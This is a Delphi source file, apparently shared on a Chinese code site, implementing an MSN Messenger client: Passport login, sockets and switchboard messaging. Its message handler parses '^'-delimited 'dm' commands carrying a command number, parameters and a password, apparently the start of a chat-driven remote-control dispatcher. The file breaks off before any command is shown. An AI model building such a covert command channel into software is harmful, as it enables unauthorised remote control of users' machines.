P_MSN.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:15k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit MSN;
  2. interface
  3.   uses windows,WinSock,
  4.   ShellApi,
  5.   CommandsAndUtils,wininet,md5;
  6.       procedure MSNEvents( wParam,lParam: Integer);
  7.      procedure SBEvents( wParam,lParam: Integer);
  8.       procedure MSN_Connect(Email : string; Pass : string;Host: string;Port : integer;Handle : HWnd);
  9.    const
  10.     WM_MSN = $0400 + 40;
  11.        WM_SB = $0400 + 50;
  12.   var
  13. wVersionRequested  : WORD ;
  14. inn : IN_ADDR ;
  15. nErrorStatus : integer;
  16.    wsa_Data  : WSADATA;
  17. SocketMSN : TSocket;
  18. socketSB : TSocket;
  19.    MSNaddr : SOCKADDR_IN; // Internet address
  20. MSNaddrserver : SOCKADDR_IN; // Internet address
  21.   SBaddr : SOCKADDR_IN; // Internet address
  22.   SBaddrserver : SOCKADDR_IN; // Internet address
  23.       buf:ansistring;
  24.   con1:boolean;
  25.   loginhost: string = '';
  26.   Step : integer;
  27.    MSN_COUNTID : integer;
  28.     SB_AUTH1  : string;
  29.      SB_AUTH2 : string;
  30.      MSN_Client : boolean;
  31.      MSN_EMAIL : string;
  32.      MSN_PASS : string  ;
  33.      MSN_Handle : HWnd;
  34. implementation
  35. function stringtochar(st : string) : char;
  36. var c : char;
  37. begin
  38.      c := #0;
  39.      while c <> st do
  40.            c := succ(c);
  41.      stringtochar := c;
  42. end;
  43. procedure  SendMSNData (COMD : string;PARM :string);
  44.  begin
  45.  MSN_COUNTID:=MSN_COUNTID + 1  ;
  46.    SenddATA (SocketMSN,COMD +   ' ' +  inttostr(MSN_COUNTID) + ' ' +PARM + #13#10);
  47.  end;
  48.   function sslget(url,chal:string):string;
  49. var
  50.   NetHandle,UrlHandle: HINTERNET;
  51.   Buffer: array[0..4095] of Char;
  52.   auth,username,password:string;
  53.   dummy,kk: dWord;
  54. begin
  55.     password:=MSN_PASS;
  56.      username:=MSN_Email; // Get username and changes @ into %40
  57.      username:=copy(username,1,pos('@',username)-1)+'%40'+copy(username,pos('@',username)+1,222);
  58.      if chal<>'' then auth:='Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='+username+',pwd='+password+','+chal;
  59.    /// frmMain.Memo1.Lines.Add('WININET: ' + url);
  60.     //frmMain.Memo1.Lines.Add ('WININET: '+ auth);
  61.      NetHandle := InternetOpen('MSMSGS', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_UI + INTERNET_FLAG_PRAGMA_NOCACHE + INTERNET_FLAG_SECURE);
  62.      UrlHandle := InternetOpenUrl(NetHandle, PChar(url), pchar(auth), dword(-1), INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_AUTO_REDIRECT, 0);
  63.      FillChar(Buffer, SizeOf(Buffer), 0);
  64.      kk:=SizeOf(Buffer);
  65.      dummy:=0;
  66.      HttpQueryInfo(UrlHandle,HTTP_QUERY_RAW_HEADERS_CRLF,@Buffer,kk,dummy);
  67.      result:=buffer;
  68.      InternetCloseHandle(UrlHandle);
  69.      InternetCloseHandle(NetHandle);
  70.      // frmMain.Memo1.Lines.Add (result);
  71. end;
  72. function fesauth(chal:string):string;
  73. begin
  74.  if loginhost='' then begin // We must find the login server
  75.         loginhost:=sslget('https://nexus.passport.com/rdr/pprdr.asp',''); // Tells us what the login server is
  76.         delete(loginhost,1,pos('DALogin=',loginhost)+7); // Server is after DALogin=
  77.         loginhost:='https://'+copy(loginhost,1,pos(',',loginhost)-1); // We add "https://" to the address
  78.      end;
  79.      result:=sslget(loginhost,chal); // Connect to login server
  80.      while pos('Location: ',result)>0 do begin // Loop here if server redirects us
  81.         result:=copy(result,pos('Location: ',result)+10,22222);
  82.         result:=copy(result,1,pos(#13,result)-1);
  83.         result:=sslget(result,chal); // result = address we're been redirected (begins with https://)
  84.      end;
  85.      if pos('da-status=success',result)>0 then begin // we succeeded
  86.         delete(result,1,pos('from-PP=',result)+8); // Get the "blahblahblah" of "from-PP='blahblahblah'
  87.         result:=copy(result,1,pos('''',result)-1); // result = our passport auth :)
  88.      end
  89.      else begin // we failed
  90.           delete(result,1,pos('cbtxt=',result)+5); // get error message
  91.          // showmessage(result); // show it (should be de-escaped)
  92.           result:='';
  93.      end;
  94. end;
  95. procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
  96. var
  97.   RC: integer;
  98. begin
  99.   if Socket <> INVALID_SOCKET then
  100.     begin
  101.        WSAASyncSelect(Socket, Handle, wMsg , 0);
  102.       if shutdown(Socket, 1) <> 0 then
  103.         if WSAGetLastError <> WSAENOTCONN then
  104.           begin
  105.            // SocketError(WSAGetLastError);
  106.             Exit;
  107.           end;
  108.       if closesocket(Socket) <> 0 then
  109.        // SocketError(WSAGetLastError)
  110.       else
  111.         Socket:= INVALID_SOCKET;
  112.     end;
  113. end;
  114. procedure CreateSocketSB ;
  115. begin
  116.      SocketClose ( SocketSB ,MSN_Handle,  WM_SB);
  117.    {--------------We have to create a socket for ftp Commands Client------------- }
  118.   SocketSB  := socket(AF_INET, SOCK_STREAM, 0);
  119.   if (SocketSB <> INVALID_SOCKET)   THEN BEGIN
  120.   SBaddr.sin_family := AF_INET;
  121.   SBaddr.sin_port := 0;
  122.  SBaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  123.   end;
  124.  if (bind(SocketSB ,SBaddr,sizeof(SBaddr))= INVALID_SOCKET ) then begin
  125.  halt;
  126.  end;
  127.  if (WSAAsyncSelect(SocketSB, MSN_Handle, WM_SB, FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  128.  halt;
  129.  end;
  130. end;
  131.     procedure CreateSocketMSN ;
  132. begin
  133.      SocketClose ( SocketMSN ,MSN_Handle,  WM_MSN);
  134.    {--------------We have to create a socket for MSN Connection------------- }
  135.    SocketMSN  := socket(AF_INET, SOCK_STREAM, 0);
  136.   if ( SocketMSN <> INVALID_SOCKET)   THEN BEGIN
  137.  MSNaddr.sin_family := AF_INET;
  138. MSNaddr.sin_port := 0;
  139.  MSNaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  140.   end;
  141.  if (bind( SocketMSN , MSNaddr,sizeof( MSNaddr))= INVALID_SOCKET ) then begin
  142.  halt;
  143.  end;
  144.  if (WSAAsyncSelect( SocketMSN, MSN_Handle, WM_MSN , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  145.  halt;
  146.  end;
  147. end;
  148. procedure MSN_Message(text : string);
  149.  var
  150.  data : string;
  151. begin
  152.   data :='MIME-Version: 1.0'  + #13#10+
  153. 'Content-Type: text/plain; charset=UTF-8'    + #13#10+
  154. 'X-MMS-IM-Format: FN=MS%20Sans%20Serif; EF=; CO=0; CS=0; PF=0'+
  155. #13#10 +   #13#10 +
  156. text;
  157. Senddata(SocketSB, 'MSG 4 N ' + inttostr(length(data)) + #13#10 + data);
  158.   end;
  159.   
  160.  procedure MSN_Connect(Email : string; Pass : string;Host: string;Port : integer;Handle : HWnd);
  161.   var
  162. HostEnt: PHostEnt;
  163. begin
  164.      MSN_EMAIL:=Email;
  165.       MSN_PASS:=Pass;
  166.       MSN_Handle:=Handle;
  167.      CreateSocketMSN;
  168. MSNaddrserver.sin_family := AF_INET;
  169. MSNaddrserver.sin_port := htons(Port);
  170. MSNaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
  171.       if MSNaddrserver.sin_addr.s_addr = -1 then
  172.         begin
  173.         HostEnt := GetHostByName(pchar(Host));
  174.          if HostEnt = nil then
  175.          begin
  176.          Exit;
  177.          end;
  178.         MSNaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  179.          end;
  180.  if (connect(SocketMSN, MSNaddrserver,sizeof(MSnaddrserver)) =SOCKET_ERROR) then begin
  181.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  182.  end;
  183.  end;
  184.   procedure SB_Connect(Host: string;Port : integer);
  185.   var
  186. HostEnt: PHostEnt;
  187. begin
  188. ;
  189.    CreateSocketSB;
  190.  SBaddrserver.sin_family := AF_INET;
  191.  SBaddrserver.sin_port := htons(Port);
  192.  SBaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
  193.       if SBaddrserver.sin_addr.s_addr = -1 then
  194.         begin
  195.         HostEnt := GetHostByName(pchar(Host));
  196.          if HostEnt = nil then
  197.          begin
  198.          Exit;
  199.          end;
  200.         SBaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  201.          end;
  202.  if (connect(SocketSB, SBaddrserver,sizeof(SBaddrserver)) =SOCKET_ERROR) then begin
  203.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  204.  end;
  205.  end;
  206.     procedure SBEvents( wParam,lParam: Integer);
  207.         var
  208.        Recived : string;
  209.      BytesToRead : Integer;
  210.        temp : string;
  211.        port1, port2 : integer;
  212.         F :file of char;
  213. G :textfile;
  214. s,Data,Data1, Data3,tmpData,tmpData1: string;
  215. l ,c : char;
  216.     tmp:string;
  217.       Dig : MD5Digest  ;
  218.     COMD, PARM1 ,PARM2, PASS : string ;
  219.      begin
  220.      case lParam  of
  221.       FD_READ:  begin
  222.      if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  223.      begin
  224.      SetLength( Recived, BytesToRead );
  225.      Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  226.       //frmmain.Memo1.Lines.Add(   Recived);
  227.            if split (Recived,'^',1)='dmok' then   begin
  228.               MSN_Message('*dmok*');
  229.            end;
  230.              if split (Recived,'^',1)='dm' then
  231.         begin
  232. COMD := split (Recived,'^',2)  ;
  233.   PARM1:= split (Recived,'^',3) ;
  234.  PARM2 := split (Recived,'^',4) ;
  235.   PASS:= split (Recived,'^',5);
  236.         case (strtoint(COMD)) of
  237.         0:begin  MSN_Message ('